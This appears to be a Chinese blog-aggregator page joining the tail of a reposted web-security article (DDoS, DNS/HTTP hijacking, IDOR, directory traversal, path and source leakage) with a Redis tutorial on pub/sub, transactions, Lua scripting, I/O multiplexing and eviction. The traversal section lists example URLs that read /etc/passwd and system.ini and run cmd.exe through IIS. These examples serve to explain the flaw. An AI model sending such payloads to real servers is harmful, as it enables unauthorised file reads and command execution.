攻击,是直接欺骗资源管理服务器。如迅雷客户端会把自己发现的资源上传到资源管理服务器,然后推送给其它需要下载相同资源的用户,这样,一个链接就发布出去。通过协议逆向,攻击者伪造出大批量的热门资源信息通过资源管理中心分发出去,瞬间就可以传遍整个 P2P 网络。更为恐怖的是,这种攻击是无法停止的,即使是攻击者自身也无法停止,攻击一直持续到 P2P 官方发现问题更新服务器且下载用户重启下载软件为止。 最后总结下,DDoS 不可能防的住,就好比你的店只能容纳 50 人,黑社会有 100 人,你就换一家大店,能容纳 500 人,然后黑社会又找来了 1000 人,这种堆人头的做法就是 DDoS 本质上的攻防之道,「道高一尺,魔高一丈,魔高一尺,道高一丈」,讲真,必要的时候就答应勒索你的人的条件吧,实在不行就报警吧。 流量劫持 流量劫持应该算是黑产行业的一大经济支柱了吧?简直是让人恶心到吐,不吐槽了,还是继续谈干货吧,流量劫持基本分两种:DNS 劫持 和 HTTP 劫持,目的都是一样的,就是当用户访问 zoumiaojiang.com 的时候,给你展示的并不是或者不完全是 zoumiaojiang.com 提供的 “内容”。 DNS 劫持 DNS 劫持,也叫做域名劫持,可以这么理解,「你打了一辆车想去商场吃饭,结果你打的车是小作坊派来的,直接给你拉到小作坊去了」,DNS 的作用是把网络地址域名对应到真实的计算机能够识别的 IP 地址,以便计算机能够进一步通信,传递网址和内容等。如果当用户通过某一个域名访问一个站点的时候,被篡改的 DNS 服务器返回的是一个恶意的钓鱼站点的 IP,用户就被劫持到了恶意钓鱼站点,然后继而会被钓鱼输入各种账号密码信息,泄漏隐私。 dns劫持 这类劫持,要不就是网络运营商搞的鬼,一般小的网络运营商与黑产勾结会劫持 DNS,要不就是电脑中毒,被恶意篡改了路由器的 DNS 配置,基本上做为开发者或站长却是很难察觉的,除非有用户反馈,现在升级版的 DNS 劫持还可以对特定用户、特定区域等使用了用户画像进行筛选用户劫持的办法,另外这类广告显示更加随机更小,一般站长除非用户投诉否则很难觉察到,就算觉察到了取证举报更难。无论如何,如果接到有 DNS 劫持的反馈,一定要做好以下几件事: 取证很重要,时间、地点、IP、拨号账户、截屏、URL 地址等一定要有。 可以跟劫持区域的电信运营商进行投诉反馈。 如果投诉反馈无效,直接去工信部投诉,一般来说会加白你的域名。 HTTP 劫持 HTTP 劫持您可以这么理解,「你打了一辆车想去商场吃饭,结果司机跟你一路给你递小作坊的广告」,HTTP 劫持主要是当用户访问某个站点的时候会经过运营商网络,而不法运营商和黑产勾结能够截获 HTTP 请求返回内容,并且能够篡改内容,然后再返回给用户,从而实现劫持页面,轻则插入小广告,重则直接篡改成钓鱼网站页面骗用户隐私。能够实施流量劫持的根本原因,是 HTTP 协议没有办法对通信对方的身份进行校验以及对数据完整性进行校验。如果能解决这个问题,则流量劫持将无法轻易发生。所以防止 HTTP 劫持的方法只有将内容加密,让劫持者无法破解篡改,这样就可以防止 HTTP 劫持了。 HTTPS 协议就是一种基于 SSL 协议的安全加密网络应用层协议,可以很好的防止 HTTP 劫持。这里有篇 文章 讲的不错。HTTPS 在这就不深讲了,后面有机会我会单独好好讲讲 HTTPS。如果不想站点被 HTTP 劫持,赶紧将你的站点全站改造成 HTTPS 吧。 服务器漏洞 服务器除了以上提到的那些大名鼎鼎的漏洞和臭名昭著的攻击以外,其实还有很多其他的漏洞,往往也很容易被忽视,在这个小节也稍微介绍几种。 越权操作漏洞 如果你的系统是有登录控制的,那就要格外小心了,因为很有可能你的系统越权操作漏洞,越权操作漏洞可以简单的总结为 「A 用户能看到或者操作 B 用户的隐私内容」,如果你的系统中还有权限控制就更加需要小心了。所以每一个请求都需要做 userid 的判断 以下是一段有漏洞的后端示意代码: // ctx 为请求的 context 上下文let msgId = ctx.params.msgId;mysql.query('SELECT FROM msg_table WHERE msg_id = ?',[msgId]); 以上代码是任何人都可以查询到任何用户的消息,只要有 msg_id 就可以,这就是比较典型的越权漏洞,需要如下这么改进一下: // ctx 为请求的 context 上下文let msgId = ctx.params.msgId;let userId = ctx.session.userId; // 从会话中取出当前登陆的 userIdmysql.query('SELECT FROM msg_table WHERE msg_id = ? AND user_id = ?',[msgId, userId]); 嗯,大概就是这个意思,如果有更严格的权限控制,那在每个请求中凡是涉及到数据库的操作都需要先进行严格的验证,并且在设计数据库表的时候需要考虑进 userId 的账号关联以及权限关联。 目录遍历漏洞 目录遍历漏洞指通过在 URL 或参数中构造 …/,./ 和类似的跨父目录字符串的 ASCII 编码、unicode 编码等,完成目录跳转,读取操作系统各个目录下的敏感文件,也可以称作「任意文件读取漏洞」。 目录遍历漏洞原理:程序没有充分过滤用户输入的 …/ 之类的目录跳转符,导致用户可以通过提交目录跳转来遍历服务器上的任意文件。使用多个… 符号,不断向上跳转,最终停留在根 /,通过绝对路径去读取任意文件。 目录遍历漏洞几个示例和测试,一般构造 URL 然后使用浏览器直接访问,或者使用 Web 漏洞扫描工具检测,当然也可以自写程序测试。 http://somehost.com/../../../../../../../../../etc/passwdhttp://somehost.com/some/path?file=../../Windows/system.ini 借助 %00 空字符截断是一个比较经典的攻击手法http://somehost.com/some/path?file=../../Windows/system.ini%00.js 使用了 IIS 的脚本目录来移动目录并执行指令http://somehost.com/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:\ 防御 方法就是需要对 URL 或者参数进行 …/,./ 等字符的转义过滤。 物理路径泄漏 物理路径泄露属于低风险等级缺陷,它的危害一般被描述为「攻击者可以利用此漏洞得到信息,来对系统进一步地攻击」,通常都是系统报错 500 的错误信息直接返回到页面可见导致的漏洞。得到物理路径有些时候它能给攻击者带来一些有用的信息,比如说:可以大致了解系统的文件目录结构;可以看出系统所使用的第三方软件;也说不定会得到一个合法的用户名(因为很多人把自己的用户名作为网站的目录名)。 防止这种泄漏的方法就是做好后端程序的出错处理,定制特殊的 500 报错页面。 源码暴露漏洞 和物理路径泄露类似,就是攻击者可以通过请求直接获取到你站点的后端源代码,然后就可以对系统进一步研究攻击。那么导致源代码暴露的原因是什么呢?基本上就是发生在服务器配置上了,服务器可以设置哪些路径的文件才可以被直接访问的,这里给一个 koa 服务起的例子,正常的 koa 服务器可以通过 koa-static 中间件去指定静态资源的目录,好让静态资源可以通过路径的路由访问。比如你的系统源代码目录是这样的: |- project|- src|- static|- ...|- server.js 你想要将 static 的文件夹配成静态资源目录,你应该会在 server.js 做如下配置: const Koa = require('koa');const serve = require('koa-static');const app = new Koa();app.use(serve(__dirname + '/project/static')); 但是如果配错了静态资源的目录,可能就出大事了,比如: // ...app.use(serve(__dirname + '/project')); 这样所有的源代码都可以通过路由访问到了,所有的服务器都提供了静态资源机制,所以在通过服务器配置静态资源目录和路径的时候,一定要注意检验,不然很可能产生漏洞。 最后,希望 Web 开发者们能够管理好自己的代码隐私,注意代码安全问题,比如不要将产品的含有敏感信息的代码放到第三方外部站点或者暴露给外部用户,尤其是前端代码,私钥类似的保密性的东西不要直接输出在代码里或者页面中。也许还有很多值得注意的点,但是归根结底还是绷住安全那根弦,对待每一行代码都要多多推敲。 请关注我的订阅号 本篇文章为转载内容。原文链接:https://blog.csdn.net/MrCoderStack/article/details/88547919。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-03 14:51:12
494
转载
转载文章
...再消费,但是会有两个问题: 1、如果生产者生产消息的速度远大于消费者消费消息的速度,List 会占用大量的内存。 2、消息的实时性降低。 list 还提供了一个阻塞的命令:blpop,没有任何元素可以弹出的时候,连接会被阻塞。 基于 list 实现的消息队列,不支持一对多的消息分发。 1.2 发布订阅模式 除了通过 list 实现消息队列之外,Redis 还提供了一组命令实现发布/订阅模式。 这种方式,发送者和接收者没有直接关联(实现了解耦),接收者也不需要持续尝试获取消息。 1.2.1 订阅频道 首先,我们有很多的频道(channel),我们也可以把这个频道理解成 queue。订阅者可以订阅一个或者多个频道。消息的发布者(生产者)可以给指定的频道发布消息。只要有消息到达了频道,所有订阅了这个频道的订阅者都会收到这条消息。 需要注意的注意是,发出去的消息不会被持久化,因为它已经从队列里面移除了,所以消费者只能收到它开始订阅这个频道之后发布的消息。 下面我们来看一下发布订阅命令的使用方法。 订阅者订阅频道:可以一次订阅多个,比如这个客户端订阅了 3 个频道。 subscribe channel-1 channel-2 channel-3 发布者可以向指定频道发布消息(并不支持一次向多个频道发送消息): publish channel-1 2673 取消订阅(不能在订阅状态下使用): unsubscribe channel-1 1.2.2 按规则(Pattern)订阅频道 支持 ?和 占位符。? 代表一个字符, 代表 0 个或者多个字符。 消费端 1,关注运动信息: psubscribe sport 消费端 2,关注所有新闻: psubscribe news 消费端 3,关注天气新闻: psubscribe news-weather 生产者,发布 3 条信息 publish news-sport yaoming publish news-music jaychou publish news-weather rain 2、Redis 事务 2.1 为什么要用事务 我们知道 Redis 的单个命令是原子性的(比如 get set mget mset),如果涉及到多个命令的时候,需要把多个命令作为一个不可分割的处理序列,就需要用到事务。 例如我们之前说的用 setnx 实现分布式锁,我们先 set,然后设置对 key 设置 expire, 防止 del 发生异常的时候锁不会被释放,业务处理完了以后再 del,这三个动作我们就希望它们作为一组命令执行。 Redis 的事务有两个特点: 1、按进入队列的顺序执行。 2、不会受到其他客户端的请求的影响。 Redis 的事务涉及到四个命令:multi(开启事务),exec(执行事务),discard (取消事务),watch(监视) 2.2 事务的用法 案例场景:tom 和 mic 各有 1000 元,tom 需要向 mic 转账 100 元。tom 的账户余额减少 100 元,mic 的账户余额增加 100 元。 通过 multi 的命令开启事务。事务不能嵌套,多个 multi 命令效果一样。 multi 执行后,客户端可以继续向服务器发送任意多条命令,这些命令不会立即被执行,而是被放到一个队列中,当 exec 命令被调用时,所有队列中的命令才会被执行。 通过 exec 的命令执行事务。如果没有执行 exec,所有的命令都不会被执行。如果中途不想执行事务了,怎么办? 可以调用 discard 可以清空事务队列,放弃执行。 2.3 watch命令 在 Redis 中还提供了一个 watch 命令。 它可以为 Redis 事务提供 CAS 乐观锁行为(Check and Set / Compare and Swap),也就是多个线程更新变量的时候,会跟原值做比较,只有它没有被其他线程修改的情况下,才更新成新的值。 我们可以用 watch 监视一个或者多个 key,如果开启事务之后,至少有一个被监视 key 键在 exec 执行之前被修改了,那么整个事务都会被取消(key 提前过期除外)。可以用 unwatch 取消。 2.4 事务可能遇到的问题 我们把事务执行遇到的问题分成两种,一种是在执行 exec 之前发生错误,一种是在执行 exec 之后发生错误。 2.4.1 在执行 exec 之前发生错误 比如:入队的命令存在语法错误,包括参数数量,参数名等等(编译器错误)。 在这种情况下事务会被拒绝执行,也就是队列中所有的命令都不会得到执行。 2.4.2 在执行 exec 之后发生错误 比如,类型错误,比如对 String 使用了 Hash 的命令,这是一种运行时错误。 最后我们发现 set k1 1 的命令是成功的,也就是在这种发生了运行时异常的情况下, 只有错误的命令没有被执行,但是其他命令没有受到影响。 这个显然不符合我们对原子性的定义,也就是我们没办法用 Redis 的这种事务机制来实现原子性,保证数据的一致。 3、Lua脚本 Lua/ˈluə/是一种轻量级脚本语言,它是用 C 语言编写的,跟数据的存储过程有点类似。 使用 Lua 脚本来执行 Redis 命令的好处: 1、一次发送多个命令,减少网络开销。 2、Redis 会将整个脚本作为一个整体执行,不会被其他请求打断,保持原子性。 3、对于复杂的组合命令,我们可以放在文件中,可以实现程序之间的命令集复用。 3.1 在Redis中调用Lua脚本 使用 eval /ɪ’væl/ 方法,语法格式: redis> eval lua-script key-num [key1 key2 key3 ....] [value1 value2 value3 ....] eval代表执行Lua语言的命令。 lua-script代表Lua语言脚本内容。 key-num表示参数中有多少个key,需要注意的是Redis中key是从1开始的,如果没有key的参数,那么写0。 [key1key2key3…]是key作为参数传递给Lua语言,也可以不填,但是需要和key-num的个数对应起来。 [value1 value2 value3 …]这些参数传递给 Lua 语言,它们是可填可不填的。 示例,返回一个字符串,0 个参数: redis> eval "return 'Hello World'" 0 3.2 在Lua脚本中调用Redis命令 使用 redis.call(command, key [param1, param2…])进行操作。语法格式: redis> eval "redis.call('set',KEYS[1],ARGV[1])" 1 lua-key lua-value command是命令,包括set、get、del等。 key是被操作的键。 param1,param2…代表给key的参数。 注意跟 Java 不一样,定义只有形参,调用只有实参。 Lua 是在调用时用 key 表示形参,argv 表示参数值(实参)。 3.2.1 设置键值对 在 Redis 中调用 Lua 脚本执行 Redis 命令 redis> eval "return redis.call('set',KEYS[1],ARGV[1])" 1 gupao 2673 redis> get gupao 以上命令等价于 set gupao 2673。 在 redis-cli 中直接写 Lua 脚本不够方便,也不能实现编辑和复用,通常我们会把脚本放在文件里面,然后执行这个文件。 3.2.2 在 Redis 中调用 Lua 脚本文件中的命令,操作 Redis 创建 Lua 脚本文件: cd /usr/local/soft/redis5.0.5/src vim gupao.lua Lua 脚本内容,先设置,再取值: cd /usr/local/soft/redis5.0.5/src redis-cli --eval gupao.lua 0 得到返回值: root@localhost src] redis-cli --eval gupao.lua 0 "lua666" 3.2.3 案例:对 IP 进行限流 需求:在 X 秒内只能访问 Y 次。 设计思路:用 key 记录 IP,用 value 记录访问次数。 拿到 IP 以后,对 IP+1。如果是第一次访问,对 key 设置过期时间(参数 1)。否则判断次数,超过限定的次数(参数 2),返回 0。如果没有超过次数则返回 1。超过时间, key 过期之后,可以再次访问。 KEY[1]是 IP, ARGV[1]是过期时间 X,ARGV[2]是限制访问的次数 Y。 -- ip_limit.lua-- IP 限流,对某个 IP 频率进行限制 ,6 秒钟访问 10 次 local num=redis.call('incr',KEYS[1])if tonumber(num)==1 thenredis.call('expire',KEYS[1],ARGV[1])return 1elseif tonumber(num)>tonumber(ARGV[2]) thenreturn 0 elsereturn 1 end 6 秒钟内限制访问 10 次,调用测试(连续调用 10 次): ./redis-cli --eval "ip_limit.lua" app:ip:limit:192.168.8.111 , 6 10 app:ip:limit:192.168.8.111 是 key 值 ,后面是参数值,中间要加上一个空格和一个逗号,再加上一个空格 。 即:./redis-cli –eval [lua 脚本] [key…]空格,空格[args…] 多个参数之间用一个空格分割 。 代码:LuaTest.java 3.2.4 缓存 Lua 脚本 为什么要缓存 在脚本比较长的情况下,如果每次调用脚本都需要把整个脚本传给 Redis 服务端, 会产生比较大的网络开销。为了解决这个问题,Redis 提供了 EVALSHA 命令,允许开发者通过脚本内容的 SHA1 摘要来执行脚本。 如何缓存 Redis 在执行 script load 命令时会计算脚本的 SHA1 摘要并记录在脚本缓存中,执行 EVALSHA 命令时 Redis 会根据提供的摘要从脚本缓存中查找对应的脚本内容,如果找到了则执行脚本,否则会返回错误:“NOSCRIPT No matching script. Please use EVAL.” 127.0.0.1:6379> script load "return 'Hello World'" "470877a599ac74fbfda41caa908de682c5fc7d4b"127.0.0.1:6379> evalsha "470877a599ac74fbfda41caa908de682c5fc7d4b" 0 "Hello World" 3.2.5 自乘案例 Redis 有 incrby 这样的自增命令,但是没有自乘,比如乘以 3,乘以 5。我们可以写一个自乘的运算,让它乘以后面的参数: local curVal = redis.call("get", KEYS[1]) if curVal == false thencurVal = 0 elsecurVal = tonumber(curVal)endcurVal = curVal tonumber(ARGV[1]) redis.call("set", KEYS[1], curVal) return curVal 把这个脚本变成单行,语句之间使用分号隔开 local curVal = redis.call("get", KEYS[1]); if curVal == false then curVal = 0 else curVal = tonumber(curVal) end; curVal = curVal tonumber(ARGV[1]); redis.call("set", KEYS[1], curVal); return curVal script load ‘命令’ 127.0.0.1:6379> script load 'local curVal = redis.call("get", KEYS[1]); if curVal == false then curVal = 0 else curVal = tonumber(curVal) end; curVal = curVal tonumber(ARGV[1]); redis.call("set", KEYS[1], curVal); return curVal' "be4f93d8a5379e5e5b768a74e77c8a4eb0434441" 调用: 127.0.0.1:6379> set num 2OK127.0.0.1:6379> evalsha be4f93d8a5379e5e5b768a74e77c8a4eb0434441 1 num 6 (integer) 12 3.2.6 脚本超时 Redis 的指令执行本身是单线程的,这个线程还要执行客户端的 Lua 脚本,如果 Lua 脚本执行超时或者陷入了死循环,是不是没有办法为客户端提供服务了呢? eval 'while(true) do end' 0 为了防止某个脚本执行时间过长导致 Redis 无法提供服务,Redis 提供了 lua-time-limit 参数限制脚本的最长运行时间,默认为 5 秒钟。 lua-time-limit 5000(redis.conf 配置文件中) 当脚本运行时间超过这一限制后,Redis 将开始接受其他命令但不会执行(以确保脚本的原子性,因为此时脚本并没有被终止),而是会返回“BUSY”错误。 Redis 提供了一个 script kill 的命令来中止脚本的执行。新开一个客户端: script kill 如果当前执行的 Lua 脚本对 Redis 的数据进行了修改(SET、DEL 等),那么通过 script kill 命令是不能终止脚本运行的。 127.0.0.1:6379> eval "redis.call('set','gupao','666') while true do end" 0 因为要保证脚本运行的原子性,如果脚本执行了一部分终止,那就违背了脚本原子性的要求。最终要保证脚本要么都执行,要么都不执行。 127.0.0.1:6379> script kill(error) UNKILLABLE Sorry the script already executed write commands against the dataset. You can either wait the scripttermination or kill the server in a hard way using the SHUTDOWN NOSAVE command. 遇到这种情况,只能通过 shutdown nosave 命令来强行终止 redis。 shutdown nosave 和 shutdown 的区别在于 shutdown nosave 不会进行持久化操作,意味着发生在上一次快照后的数据库修改都会丢失。 4、Redis 为什么这么快? 4.1 Redis到底有多快? 根据官方的数据,Redis 的 QPS 可以达到 10 万左右(每秒请求数)。 4.2 Redis为什么这么快? 总结:1)纯内存结构、2)单线程、3)多路复用 4.2.1 内存 KV 结构的内存数据库,时间复杂度 O(1)。 第二个,要实现这么高的并发性能,是不是要创建非常多的线程? 恰恰相反,Redis 是单线程的。 4.2.2 单线程 单线程有什么好处呢? 1、没有创建线程、销毁线程带来的消耗 2、避免了上线文切换导致的 CPU 消耗 3、避免了线程之间带来的竞争问题,例如加锁释放锁死锁等等 4.2.3 异步非阻塞 异步非阻塞 I/O,多路复用处理并发连接。 4.3 Redis为什么是单线程的? 不是白白浪费了 CPU 的资源吗? 因为单线程已经够用了,CPU 不是 redis 的瓶颈。Redis 的瓶颈最有可能是机器内存或者网络带宽。既然单线程容易实现,而且 CPU 不会成为瓶颈,那就顺理成章地采用单线程的方案了。 4.4 单线程为什么这么快? 因为 Redis 是基于内存的操作,我们先从内存开始说起。 4.4.1 虚拟存储器(虚拟内存 Vitual Memory) 名词解释:主存:内存;辅存:磁盘(硬盘) 计算机主存(内存)可看作一个由 M 个连续的字节大小的单元组成的数组,每个字节有一个唯一的地址,这个地址叫做物理地址(PA)。早期的计算机中,如果 CPU 需要内存,使用物理寻址,直接访问主存储器。 这种方式有几个弊端: 1、在多用户多任务操作系统中,所有的进程共享主存,如果每个进程都独占一块物理地址空间,主存很快就会被用完。我们希望在不同的时刻,不同的进程可以共用同一块物理地址空间。 2、如果所有进程都是直接访问物理内存,那么一个进程就可以修改其他进程的内存数据,导致物理地址空间被破坏,程序运行就会出现异常。 为了解决这些问题,我们就想了一个办法,在 CPU 和主存之间增加一个中间层。CPU 不再使用物理地址访问,而是访问一个虚拟地址,由这个中间层把地址转换成物理地址,最终获得数据。这个中间层就叫做虚拟存储器(Virtual Memory)。 具体的操作如下所示: 在每一个进程开始创建的时候,都会分配一段虚拟地址,然后通过虚拟地址和物理地址的映射来获取真实数据,这样进程就不会直接接触到物理地址,甚至不知道自己调用的哪块物理地址的数据。 目前,大多数操作系统都使用了虚拟内存,如 Windows 系统的虚拟内存、Linux 系统的交换空间等等。Windows 的虚拟内存(pagefile.sys)是磁盘空间的一部分。 在 32 位的系统上,虚拟地址空间大小是 2^32bit=4G。在 64 位系统上,最大虚拟地址空间大小是多少? 是不是 2^64bit=10241014TB=1024PB=16EB?实际上没有用到 64 位,因为用不到这么大的空间,而且会造成很大的系统开销。Linux 一般用低 48 位来表示虚拟地址空间,也就是 2^48bit=256T。 cat /proc/cpuinfo address sizes : 40 bits physical, 48 bits virtual 实际的物理内存可能远远小于虚拟内存的大小。 总结:引入虚拟内存,可以提供更大的地址空间,并且地址空间是连续的,使得程序编写、链接更加简单。并且可以对物理内存进行隔离,不同的进程操作互不影响。还可以通过把同一块物理内存映射到不同的虚拟地址空间实现内存共享。 4.4.2 用户空间和内核空间 为了避免用户进程直接操作内核,保证内核安全,操作系统将虚拟内存划分为两部分,一部分是内核空间(Kernel-space)/ˈkɜːnl /,一部分是用户空间(User-space)。 内核是操作系统的核心,独立于普通的应用程序,可以访问受保护的内存空间,也有访问底层硬件设备的权限。 内核空间中存放的是内核代码和数据,而进程的用户空间中存放的是用户程序的代码和数据。不管是内核空间还是用户空间,它们都处于虚拟空间中,都是对物理地址的映射。 在 Linux 系统中, 内核进程和用户进程所占的虚拟内存比例是 1:3。 当进程运行在内核空间时就处于内核态,而进程运行在用户空间时则处于用户态。 进程在内核空间以执行任意命令,调用系统的一切资源;在用户空间只能执行简单的运算,不能直接调用系统资源,必须通过系统接口(又称 system call),才能向内核发出指令。 top 命令: us 代表 CPU 消耗在 User space 的时间百分比; sy 代表 CPU 消耗在 Kernel space 的时间百分比。 4.4.3 进程切换(上下文切换) 多任务操作系统是怎么实现运行远大于 CPU 数量的任务个数的? 当然,这些任务实际上并不是真的在同时运行,而是因为系统通过时间片分片算法,在很短的时间内,将 CPU 轮流分配给它们,造成多任务同时运行的错觉。 为了控制进程的执行,内核必须有能力挂起正在 CPU 上运行的进程,并恢复以前挂起的某个进程的执行。这种行为被称为进程切换。 什么叫上下文? 在每个任务运行前,CPU 都需要知道任务从哪里加载、又从哪里开始运行,也就是说,需要系统事先帮它设置好 CPU 寄存器和程序计数器(ProgramCounter),这个叫做 CPU 的上下文。 而这些保存下来的上下文,会存储在系统内核中,并在任务重新调度执行时再次加载进来。这样就能保证任务原来的状态不受影响,让任务看起来还是连续运行。 在切换上下文的时候,需要完成一系列的工作,这是一个很消耗资源的操作。 4.4.4 进程的阻塞 正在运行的进程由于提出系统服务请求(如 I/O 操作),但因为某种原因未得到操作系统的立即响应,该进程只能把自己变成阻塞状态,等待相应的事件出现后才被唤醒。 进程在阻塞状态不占用 CPU 资源。 4.4.5 文件描述符 FD Linux 系统将所有设备都当作文件来处理,而 Linux 用文件描述符来标识每个文件对象。 文件描述符(File Descriptor)是内核为了高效管理已被打开的文件所创建的索引,用于指向被打开的文件,所有执行 I/O 操作的系统调用都通过文件描述符;文件描述符是一个简单的非负整数,用以表明每个被进程打开的文件。 Linux 系统里面有三个标准文件描述符。 0:标准输入(键盘); 1:标准输出(显示器); 2:标准错误输出(显示器)。 4.4.6 传统 I/O 数据拷贝 以读操作为例: 当应用程序执行 read 系统调用读取文件描述符(FD)的时候,如果这块数据已经存在于用户进程的页内存中,就直接从内存中读取数据。如果数据不存在,则先将数据从磁盘加载数据到内核缓冲区中,再从内核缓冲区拷贝到用户进程的页内存中。(两次拷贝,两次 user 和 kernel 的上下文切换)。 I/O 的阻塞到底阻塞在哪里? 4.4.7 Blocking I/O 当使用 read 或 write 对某个文件描述符进行过读写时,如果当前 FD 不可读,系统就不会对其他的操作做出响应。从设备复制数据到内核缓冲区是阻塞的,从内核缓冲区拷贝到用户空间,也是阻塞的,直到 copy complete,内核返回结果,用户进程才解除 block 的状态。 为了解决阻塞的问题,我们有几个思路。 1、在服务端创建多个线程或者使用线程池,但是在高并发的情况下需要的线程会很多,系统无法承受,而且创建和释放线程都需要消耗资源。 2、由请求方定期轮询,在数据准备完毕后再从内核缓存缓冲区复制数据到用户空间 (非阻塞式 I/O),这种方式会存在一定的延迟。 能不能用一个线程处理多个客户端请求? 4.4.8 I/O 多路复用(I/O Multiplexing) I/O 指的是网络 I/O。 多路指的是多个 TCP 连接(Socket 或 Channel)。 复用指的是复用一个或多个线程。它的基本原理就是不再由应用程序自己监视连接,而是由内核替应用程序监视文件描述符。 客户端在操作的时候,会产生具有不同事件类型的 socket。在服务端,I/O 多路复用程序(I/O Multiplexing Module)会把消息放入队列中,然后通过文件事件分派器(File event Dispatcher),转发到不同的事件处理器中。 多路复用有很多的实现,以 select 为例,当用户进程调用了多路复用器,进程会被阻塞。内核会监视多路复用器负责的所有 socket,当任何一个 socket 的数据准备好了,多路复用器就会返回。这时候用户进程再调用 read 操作,把数据从内核缓冲区拷贝到用户空间。 所以,I/O 多路复用的特点是通过一种机制一个进程能同时等待多个文件描述符,而这些文件描述符(套接字描述符)其中的任意一个进入读就绪(readable)状态,select() 函数就可以返回。 Redis 的多路复用, 提供了 select, epoll, evport, kqueue 几种选择,在编译的时 候来选择一种。 evport 是 Solaris 系统内核提供支持的; epoll 是 LINUX 系统内核提供支持的; kqueue 是 Mac 系统提供支持的; select 是 POSIX 提供的,一般的操作系统都有支撑(保底方案); 源码 ae_epoll.c、ae_select.c、ae_kqueue.c、ae_evport.c 5、内存回收 Reids 所有的数据都是存储在内存中的,在某些情况下需要对占用的内存空间进行回 收。内存回收主要分为两类,一类是 key 过期,一类是内存使用达到上限(max_memory) 触发内存淘汰。 5.1 过期策略 要实现 key 过期,我们有几种思路。 5.1.1 定时过期(主动淘汰) 每个设置过期时间的 key 都需要创建一个定时器,到过期时间就会立即清除。该策略可以立即清除过期的数据,对内存很友好;但是会占用大量的 CPU 资源去处理过期的 数据,从而影响缓存的响应时间和吞吐量。 5.1.2 惰性过期(被动淘汰) 只有当访问一个 key 时,才会判断该 key 是否已过期,过期则清除。该策略可以最大化地节省 CPU 资源,却对内存非常不友好。极端情况可能出现大量的过期 key 没有再次被访问,从而不会被清除,占用大量内存。 例如 String,在 getCommand 里面会调用 expireIfNeeded server.c expireIfNeeded(redisDb db, robj key) 第二种情况,每次写入 key 时,发现内存不够,调用 activeExpireCycle 释放一部分内存。 expire.c activeExpireCycle(int type) 5.1.3 定期过期 源码:server.h typedef struct redisDb { dict dict; / 所有的键值对 /dict expires; / 设置了过期时间的键值对 /dict blocking_keys; dict ready_keys; dict watched_keys; int id;long long avg_ttl;list defrag_later; } redisDb; 每隔一定的时间,会扫描一定数量的数据库的 expires 字典中一定数量的 key,并清除其中已过期的 key。该策略是前两者的一个折中方案。通过调整定时扫描的时间间隔和每次扫描的限定耗时,可以在不同情况下使得 CPU 和内存资源达到最优的平衡效果。 Redis 中同时使用了惰性过期和定期过期两种过期策略。 5.2 淘汰策略 Redis 的内存淘汰策略,是指当内存使用达到最大内存极限时,需要使用淘汰算法来决定清理掉哪些数据,以保证新数据的存入。 5.2.1 最大内存设置 redis.conf 参数配置: maxmemory <bytes> 如果不设置 maxmemory 或者设置为 0,64 位系统不限制内存,32 位系统最多使用 3GB 内存。 动态修改: redis> config set maxmemory 2GB 到达最大内存以后怎么办? 5.2.2 淘汰策略 https://redis.io/topics/lru-cache redis.conf maxmemory-policy noeviction 先从算法来看: LRU,Least Recently Used:最近最少使用。判断最近被使用的时间,目前最远的数据优先被淘汰。 LFU,Least Frequently Used,最不常用,4.0 版本新增。 random,随机删除。 如果没有符合前提条件的 key 被淘汰,那么 volatile-lru、volatile-random、 volatile-ttl 相当于 noeviction(不做内存回收)。 动态修改淘汰策略: redis> config set maxmemory-policy volatile-lru 建议使用 volatile-lru,在保证正常服务的情况下,优先删除最近最少使用的 key。 5.2.3 LRU 淘汰原理 问题:如果基于传统 LRU 算法实现 Redis LRU 会有什么问题? 需要额外的数据结构存储,消耗内存。 Redis LRU 对传统的 LRU 算法进行了改良,通过随机采样来调整算法的精度。如果淘汰策略是 LRU,则根据配置的采样值 maxmemory_samples(默认是 5 个), 随机从数据库中选择 m 个 key, 淘汰其中热度最低的 key 对应的缓存数据。所以采样参数m配置的数值越大, 就越能精确的查找到待淘汰的缓存数据,但是也消耗更多的CPU计算,执行效率降低。 问题:如何找出热度最低的数据? Redis 中所有对象结构都有一个 lru 字段, 且使用了 unsigned 的低 24 位,这个字段用来记录对象的热度。对象被创建时会记录 lru 值。在被访问的时候也会更新 lru 的值。 但是不是获取系统当前的时间戳,而是设置为全局变量 server.lruclock 的值。 源码:server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; server.lruclock 的值怎么来的? Redis 中有个定时处理的函数 serverCron,默认每 100 毫秒调用函数 updateCachedTime 更新一次全局变量的 server.lruclock 的值,它记录的是当前 unix 时间戳。 源码:server.c void updateCachedTime(void) { time_t unixtime = time(NULL); atomicSet(server.unixtime,unixtime); server.mstime = mstime();struct tm tm; localtime_r(&server.unixtime,&tm);server.daylight_active = tm.tm_isdst; } 问题:为什么不获取精确的时间而是放在全局变量中?不会有延迟的问题吗? 这样函数 lookupKey 中更新数据的 lru 热度值时,就不用每次调用系统函数 time,可以提高执行效率。 OK,当对象里面已经有了 LRU 字段的值,就可以评估对象的热度了。 函数 estimateObjectIdleTime 评估指定对象的 lru 热度,思想就是对象的 lru 值和全局的 server.lruclock 的差值越大(越久没有得到更新),该对象热度越低。 源码 evict.c / Given an object returns the min number of milliseconds the object was never requested, using an approximated LRU algorithm. /unsigned long long estimateObjectIdleTime(robj o) {unsigned long long lruclock = LRU_CLOCK(); if (lruclock >= o->lru) {return (lruclock - o->lru) LRU_CLOCK_RESOLUTION; } else {return (lruclock + (LRU_CLOCK_MAX - o->lru)) LRU_CLOCK_RESOLUTION;} } server.lruclock 只有 24 位,按秒为单位来表示才能存储 194 天。当超过 24bit 能表 示的最大时间的时候,它会从头开始计算。 server.h define LRU_CLOCK_MAX ((1<<LRU_BITS)-1) / Max value of obj->lru / 在这种情况下,可能会出现对象的 lru 大于 server.lruclock 的情况,如果这种情况 出现那么就两个相加而不是相减来求最久的 key。 为什么不用常规的哈希表+双向链表的方式实现?需要额外的数据结构,消耗资源。而 Redis LRU 算法在 sample 为 10 的情况下,已经能接近传统 LRU 算法了。 问题:除了消耗资源之外,传统 LRU 还有什么问题? 如图,假设 A 在 10 秒内被访问了 5 次,而 B 在 10 秒内被访问了 3 次。因为 B 最后一次被访问的时间比 